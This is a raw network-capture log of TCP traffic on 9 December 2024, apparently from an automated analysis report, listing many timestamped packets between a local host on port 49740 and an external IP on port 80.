Dec 9, 2024 20:27:32.082787037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.082803011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.082828045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.083796978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.083848000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.083915949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.083961010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.084748030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.084837914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.084882021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.085737944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.085798025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.085846901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.085891008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.086756945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.086828947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.086859941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.087007046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.087737083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.087824106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.087908983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.087963104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.088721037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.088782072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.088864088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.088916063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.089709997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.089776993 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.089840889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.089991093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.090719938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.090781927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.090790987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.090831041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.091744900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.091799974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.092044115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.092174053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.092729092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.092835903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.092886925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.093759060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.093825102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.093836069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.093869925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.094897032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.094961882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.094964027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.095007896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.095733881 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.095879078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.095899105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.095916033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.096750975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.096803904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.096834898 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.096894026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.097718000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.097780943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.097861052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.097949982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.098834038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.098893881 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.098936081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.099033117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.099761009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.099814892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.099839926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.099960089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.100771904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.100826025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.100900888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.100953102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.101998091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.102050066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.102061033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.102102995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.102885962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.102933884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.103037119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.103085995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.103888035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.103926897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.103954077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.103965044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.104698896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.104748011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.104825020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.104964018 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.105705023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.105763912 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.105936050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.105988979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.106724024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.106785059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.106935978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.106992006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.107685089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.107764959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.107786894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.107830048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.108829021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.108865023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.108894110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.108916998 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.109713078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.109766960 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.109824896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.109870911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.110729933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.110795975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.110821962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.110869884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.111670017 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.111721039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.111815929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.111911058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.112946987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.112967014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.113004923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.113020897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.113759995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.113826036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.113858938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.113905907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.114804983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.114866972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.114896059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.114939928 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.115678072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.115748882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.115798950 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.116720915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.116760015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.116800070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.116811037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.117676020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.117748976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.117813110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.117862940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.258861065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.258948088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.258958101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.258989096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.259160995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.259227991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.259258986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.259309053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.260204077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.260303974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.260307074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.260345936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.261080027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.261133909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.261478901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.261542082 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.261853933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.261915922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.262470961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.262531042 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.262552023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.262592077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.264071941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.264138937 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.264154911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.264203072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.265237093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.265281916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.265393972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.265438080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.265855074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.265911102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.266067028 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.266125917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.266936064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.267004967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.267047882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.267092943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.267826080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.267900944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.267915010 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.267956018 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.268867016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.268929005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.269068003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.269263029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.269817114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.269872904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.269912958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.269958019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.270741940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.270797014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.270829916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.270889044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.271785975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.271846056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.271847963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.271891117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.272425890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.272475004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.272480011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.272516012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.273670912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.273741961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.273802996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.273845911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.274408102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.274467945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.274532080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.274594069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.275477886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.275576115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.275608063 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.275652885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.276433945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.276531935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.276580095 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.276631117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.277570009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.277652979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.277724028 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.277798891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.278592110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.278652906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.278685093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.278726101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.279618025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.279681921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.279769897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.279891968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.280649900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.280695915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.280706882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.280735016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.281733036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.281793118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.281886101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.282002926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.282455921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.282495975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.282566071 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.282612085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.283742905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.283790112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.283900023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.284006119 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.284436941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.284483910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.284492016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.284558058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.285418034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.285465002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.285531044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.285607100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.286400080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.286452055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.286499023 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.286555052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.287411928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.287473917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.287501097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.287543058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.288507938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.288522005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.288548946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.288582087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.289412022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.289458036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.289477110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.289516926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.290424109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.290438890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.290465117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.290476084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.291407108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.291426897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.291451931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.291495085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.292514086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.292562008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.292716980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.292773008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.293648958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.293690920 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.293751001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.293818951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.294403076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.294466019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.294495106 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.294529915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.295456886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.295504093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.295527935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.295730114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.296437025 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.296480894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.296505928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.296547890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.297436953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.297525883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.297528028 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.297615051 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.298352957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.298396111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.298474073 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.298510075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.299408913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.299459934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.299463034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.299505949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.300359011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.300400972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.300462961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.300504923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.301361084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.301511049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.301533937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.301584959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.302357912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.302409887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.302480936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.302531958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.303381920 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.303436995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.303495884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.303579092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.304405928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.304460049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.304486036 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.304677010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.305406094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.305464983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.305526018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.305567980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.306504011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.306554079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.306567907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.306611061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.307339907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.307425976 CET	80	49740	185.215.113.206	192.168.2.4
